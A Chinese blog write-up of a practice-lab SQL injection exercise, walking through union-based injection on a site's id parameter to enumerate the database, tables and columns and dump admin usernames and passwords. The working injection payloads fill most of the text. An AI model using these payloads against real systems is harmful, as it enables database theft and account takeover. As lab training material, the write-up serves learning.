为了女神小芳(sql注入)

发布时间 2023-08-23 15:22:12作者: Sawyerhan

靶机链接:http://pu2lh35s.ia.aqlab.cn/

打开链接后是一个猫舍的web

 点击“点击查看新闻1”后跳转到新的域名:http://pu2lh35s.ia.aqlab.cn/?id=1

 看到域名“http://pu2lh35s.ia.aqlab.cn/?id=1”含有“/?id=1”,猜测存在sql注入漏洞。验证猜测

构造“?id=1 and 1=1”或“?id=1=1”,访问

 可以看到,页面返回正常。构造“?id=1 and 1=2”或“?id=1=2”,访问

 可以发现页面返回异常。初步判定,这里存在sql注入漏洞的可能性很大

判断字段数

构造“?id=1=1 order by 1”并访问。

 页面返回正常。构造“?id=1=1 order by 2”,访问

 页面返回正常。再次构造“?id=1=1 order by 3”、访问

 页面返回异常,至此能判断出字段数为2

回显点判断

构造“?id=1=1 union select 1,2”、访问

 页面返回正常,再次构造“?id=1=2 union select 1,2”,访问

 页面返回异常,并且图中红框处显示出“2”。此现象代表此网站切实存在sql注入漏洞,并且可以通过构造字段,在红框处体现出我们想要获得的信息

查询想要得知的内容

构造“/?id=1=2 union select 1,database()”,查询数据库名称

 可以查到当前数据库的名字为“maoshe”。

构造“?id=1=2 union select 1,version()”获取数据库版本信息

 查询到数据库的版本信息为“5.5.53”

构造“?id=1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1”获取数据库表名

 查询到数据库的表名为“admin”。*****此“admin”为数据库的表名,并非用户名******

大部分情况下而言,管理员的账号密码信息都会在“admin”表中

分别构造字段,查询admin表中的内容

“?id=1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1”

“?id=1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1”

 

“?id=1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1”

 由以上构建的字段可以查出“admin”表中含有的字段有“ID”、“useradmin”、“password”

查询“username”字段的内容

 构造“?id=1=2 union select 1,username from admin%20 limit 0,1”

获得第一个用户名“admin”

构造“?id=1=2 union select 1,username from admin%20 limit 1,1”

 获得第二个用户名“ppt领取微信”

构造“?id=1=2 union select 1,username from admin%20 limit 2,1”

 查询到内容为空,代表“username”中只包含两个用户名信息:“admin”和“ppt领取微信”

查询“password”字段的内容

构造“?id=1=2 union select 1,password from admin%20 limit 0,1”查询“password”字段信息

查询到第一个密码为“hellohack”

构造“?id=1=2 union select 1,password from admin%20 limit 1,1”查询“password”字段信息

 查询到第二个密码为“zkaqbanban”

构造“?id=1=2 union select 1,password from admin%20 limit 2,1”查询“password”字段信息

  查询到内容为空,代表“password”中只包含两个信息:“hellohack”和“zkaqbanban”

至此,两对账户、密码信息已经获得,分别为:“admin/hellohack”和“ppt领取微信/zkaqbanban”

 

 

如果是数据库大白的话,建议先学一学数据库知识,最起码的要能够知道基础的命令含义、格式等再考虑SQL注入!!!